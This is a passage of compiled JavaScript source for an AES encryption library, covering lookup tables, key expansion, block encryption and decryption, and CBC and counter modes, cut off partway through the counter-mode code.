0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3];\nconst U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697];\nconst U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46];\nconst U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d];\nfunction convertToInt32(bytes) {\n const result = [];\n for (let i = 0; i < bytes.length; i += 4) {\n result.push((bytes[i] << 24) | (bytes[i + 1] << 16) | (bytes[i + 2] << 8) | bytes[i + 3]);\n }\n return result;\n}\nexport class AES {\n get key() { return __classPrivateFieldGet(this, _AES_key, \"f\").slice(); }\n constructor(key) {\n _AES_key.set(this, void 0);\n _AES_Kd.set(this, void 0);\n _AES_Ke.set(this, void 0);\n if (!(this instanceof AES)) {\n throw Error('AES must be instanitated with `new`');\n }\n __classPrivateFieldSet(this, _AES_key, new Uint8Array(key), \"f\");\n const rounds = numberOfRounds[this.key.length];\n if (rounds == null) {\n throw new TypeError('invalid key size (must be 16, 24 or 32 bytes)');\n }\n // encryption round keys\n __classPrivateFieldSet(this, _AES_Ke, [], \"f\");\n // decryption round keys\n __classPrivateFieldSet(this, _AES_Kd, [], \"f\");\n for (let i = 0; i <= rounds; i++) {\n __classPrivateFieldGet(this, _AES_Ke, \"f\").push([0, 0, 0, 0]);\n __classPrivateFieldGet(this, _AES_Kd, \"f\").push([0, 0, 0, 0]);\n }\n const roundKeyCount = (rounds + 1) * 4;\n const KC = this.key.length / 4;\n // convert the key into ints\n const tk = convertToInt32(this.key);\n // copy values into round key arrays\n let index;\n for (let i = 0; i < KC; i++) {\n index = i >> 2;\n __classPrivateFieldGet(this, _AES_Ke, \"f\")[index][i % 4] = tk[i];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds - index][i % 4] = tk[i];\n }\n // key expansion (fips-197 section 5.2)\n let rconpointer = 0;\n let t = KC, tt;\n while (t < roundKeyCount) {\n tt = tk[KC - 1];\n tk[0] ^= ((S[(tt >> 16) & 0xFF] << 24) ^\n (S[(tt >> 8) & 0xFF] << 16) ^\n (S[tt & 0xFF] << 8) ^\n S[(tt >> 24) & 0xFF] ^\n (rcon[rconpointer] << 24));\n rconpointer += 1;\n // key expansion (for non-256 bit)\n if (KC != 8) {\n for (let i = 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n // key expansion for 256-bit keys is \"slightly different\" (fips-197)\n }\n else {\n for (let i = 1; i < (KC / 2); i++) {\n tk[i] ^= tk[i - 1];\n }\n tt = tk[(KC / 2) - 1];\n tk[KC / 2] ^= (S[tt & 0xFF] ^\n (S[(tt >> 8) & 0xFF] << 8) ^\n (S[(tt >> 16) & 0xFF] << 16) ^\n (S[(tt >> 24) & 0xFF] << 24));\n for (let i = (KC / 2) + 1; i < KC; i++) {\n tk[i] ^= tk[i - 1];\n }\n }\n // copy values into round key arrays\n let i = 0, r, c;\n while (i < KC && t < roundKeyCount) {\n r = t >> 2;\n c = t % 4;\n __classPrivateFieldGet(this, _AES_Ke, \"f\")[r][c] = tk[i];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds - r][c] = tk[i++];\n t++;\n }\n }\n // inverse-cipher-ify the decryption round key (fips-197 section 5.3)\n for (let r = 1; r < rounds; r++) {\n for (let c = 0; c < 4; c++) {\n tt = __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][c];\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][c] = (U1[(tt >> 24) & 0xFF] ^\n U2[(tt >> 16) & 0xFF] ^\n U3[(tt >> 8) & 0xFF] ^\n U4[tt & 0xFF]);\n }\n }\n }\n encrypt(plaintext) {\n if (plaintext.length != 16) {\n throw new TypeError('invalid plaintext size (must be 16 bytes)');\n }\n const rounds = __classPrivateFieldGet(this, _AES_Ke, \"f\").length - 1;\n const a = [0, 0, 0, 0];\n // convert plaintext to (ints ^ key)\n let t = convertToInt32(plaintext);\n for (let i = 0; i < 4; i++) {\n t[i] ^= __classPrivateFieldGet(this, _AES_Ke, \"f\")[0][i];\n }\n // apply round transforms\n for (let r = 1; r < rounds; r++) {\n for (let i = 0; i < 4; i++) {\n a[i] = (T1[(t[i] >> 24) & 0xff] ^\n T2[(t[(i + 1) % 4] >> 16) & 0xff] ^\n T3[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T4[t[(i + 3) % 4] & 0xff] ^\n __classPrivateFieldGet(this, _AES_Ke, \"f\")[r][i]);\n }\n t = a.slice();\n }\n // the last round is special\n const result = new Uint8Array(16);\n let tt = 0;\n for (let i = 0; i < 4; i++) {\n tt = __classPrivateFieldGet(this, _AES_Ke, \"f\")[rounds][i];\n result[4 * i] = (S[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (S[(t[(i + 1) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (S[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * i + 3] = (S[t[(i + 3) % 4] & 0xff] ^ tt) & 0xff;\n }\n return result;\n }\n decrypt(ciphertext) {\n if (ciphertext.length != 16) {\n throw new TypeError('invalid ciphertext size (must be 16 bytes)');\n }\n const rounds = __classPrivateFieldGet(this, _AES_Kd, \"f\").length - 1;\n const a = [0, 0, 0, 0];\n // convert plaintext to (ints ^ key)\n let t = convertToInt32(ciphertext);\n for (let i = 0; i < 4; i++) {\n t[i] ^= __classPrivateFieldGet(this, _AES_Kd, \"f\")[0][i];\n }\n // apply round transforms\n for (let r = 1; r < rounds; r++) {\n for (let i = 0; i < 4; i++) {\n a[i] = (T5[(t[i] >> 24) & 0xff] ^\n T6[(t[(i + 3) % 4] >> 16) & 0xff] ^\n T7[(t[(i + 2) % 4] >> 8) & 0xff] ^\n T8[t[(i + 1) % 4] & 0xff] ^\n __classPrivateFieldGet(this, _AES_Kd, \"f\")[r][i]);\n }\n t = a.slice();\n }\n // the last round is special\n const result = new Uint8Array(16);\n let tt = 0;\n for (let i = 0; i < 4; i++) {\n tt = __classPrivateFieldGet(this, _AES_Kd, \"f\")[rounds][i];\n result[4 * i] = (Si[(t[i] >> 24) & 0xff] ^ (tt >> 24)) & 0xff;\n result[4 * i + 1] = (Si[(t[(i + 3) % 4] >> 16) & 0xff] ^ (tt >> 16)) & 0xff;\n result[4 * i + 2] = (Si[(t[(i + 2) % 4] >> 8) & 0xff] ^ (tt >> 8)) & 0xff;\n result[4 * i + 3] = (Si[t[(i + 1) % 4] & 0xff] ^ tt) & 0xff;\n }\n return result;\n }\n}\n_AES_key = new WeakMap(), _AES_Kd = new WeakMap(), _AES_Ke = new WeakMap();\n//# sourceMappingURL=aes.js.map","import { AES } from \"./aes.js\";\nexport class ModeOfOperation {\n constructor(name, key, cls) {\n if (cls && !(this instanceof cls)) {\n throw new Error(`${name} must be instantiated with \"new\"`);\n }\n Object.defineProperties(this, {\n aes: { enumerable: true, value: new AES(key) },\n name: { enumerable: true, value: name }\n });\n }\n}\n//# sourceMappingURL=mode.js.map","// Cipher Block Chaining\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar _CBC_iv, _CBC_lastBlock;\nimport { ModeOfOperation } from \"./mode.js\";\nexport class CBC extends ModeOfOperation {\n constructor(key, iv) {\n super(\"ECC\", key, CBC);\n _CBC_iv.set(this, void 0);\n _CBC_lastBlock.set(this, void 0);\n if (iv) {\n if (iv.length % 16) {\n throw new TypeError(\"invalid iv size (must be 16 bytes)\");\n }\n __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(iv), \"f\");\n }\n else {\n __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(16), \"f\");\n }\n __classPrivateFieldSet(this, _CBC_lastBlock, this.iv, \"f\");\n }\n get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CBC_iv, \"f\")); }\n encrypt(plaintext) {\n if (plaintext.length % 16) {\n throw new TypeError(\"invalid plaintext size (must be multiple of 16 bytes)\");\n }\n const ciphertext = new Uint8Array(plaintext.length);\n for (let i = 0; i < plaintext.length; i += 16) {\n for (let j = 0; j < 16; j++) {\n __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j] ^= plaintext[i + j];\n }\n __classPrivateFieldSet(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet(this, _CBC_lastBlock, \"f\")), \"f\");\n ciphertext.set(__classPrivateFieldGet(this, _CBC_lastBlock, \"f\"), i);\n }\n return ciphertext;\n }\n decrypt(ciphertext) {\n if (ciphertext.length % 16) {\n throw new TypeError(\"invalid ciphertext size (must be multiple of 16 bytes)\");\n }\n const plaintext = new Uint8Array(ciphertext.length);\n for (let i = 0; i < ciphertext.length; i += 16) {\n const block = this.aes.decrypt(ciphertext.subarray(i, i + 16));\n for (let j = 0; j < 16; j++) {\n plaintext[i + j] = block[j] ^ __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j];\n __classPrivateFieldGet(this, _CBC_lastBlock, \"f\")[j] = ciphertext[i + j];\n }\n }\n return plaintext;\n }\n}\n_CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap();\n//# sourceMappingURL=mode-cbc.js.map","// Counter Mode\nvar __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) {\n if (kind === \"m\") throw new TypeError(\"Private method is not writable\");\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a setter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot write private member to an object whose class did not declare it\");\n return (kind === \"a\" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;\n};\nvar __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) {\n if (kind === \"a\" && !f) throw new TypeError(\"Private accessor was defined without a getter\");\n if (typeof state === \"function\" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError(\"Cannot read private member from an object whose class did not declare it\");\n return kind === \"m\" ? f : kind === \"a\" ? f.call(receiver) : f ? f.value : state.get(receiver);\n};\nvar _CTR_remaining, _CTR_remainingIndex, _CTR_counter;\nimport { ModeOfOperation } from \"./mode.js\";\nexport class CTR extends ModeOfOperation {\n constructor(key, initialValue) {\n super(\"CTR\", key, CTR);\n // Remaining bytes for the one-time pad\n _CTR_remaining.set(this, void 0);\n _CTR_remainingIndex.set(this, void 0);\n // The current counter\n _CTR_counter.set(this, void 0);\n __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), \"f\");\n __classPrivateFieldGet(this, _CTR_counter, \"f\").fill(0);\n __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, \"f\"), \"f\"); // This will be discarded immediately\n __classPrivateFieldSet(this, _CTR_remainingIndex, 16, \"f\");\n if (initialValue == null) {\n initialValue = 1;\n }\n if (typeof (initialValue) === \"number\") {\n this.setCounterValue(initialValue);\n }\n else {\n this.setCounterBytes(initialValue);\n }\n }\n get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, \"f\")); }\n setCounterValue(value) {\n if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) {\n throw new TypeError(\"invalid counter initial integer value\");\n }\n for (let index = 15; index >= 0; --index) {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[index] = value % 256;\n value = Math.floor(value / 256);\n }\n }\n setCounterBytes(value) {\n if (value.length !== 16) {\n throw new TypeError(\"invalid counter initial Uint8Array value length\");\n }\n __classPrivateFieldGet(this, _CTR_counter, \"f\").set(value);\n }\n increment() {\n for (let i = 15; i >= 0; i--) {\n if (__classPrivateFieldGet(this, _CTR_counter, \"f\")[i] === 255) {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[i] = 0;\n }\n else {\n __classPrivateFieldGet(this, _CTR_counter, \"f\")[i]++;\n break;\n }\n }\n }\n encrypt(plaintext) {\n var _a, _b;\n const crypttext = new Uint8Array(plaintext);\n for (let i = 0; i < crypttext.length; i++) {\n if (__classPrivateFieldGet(this, 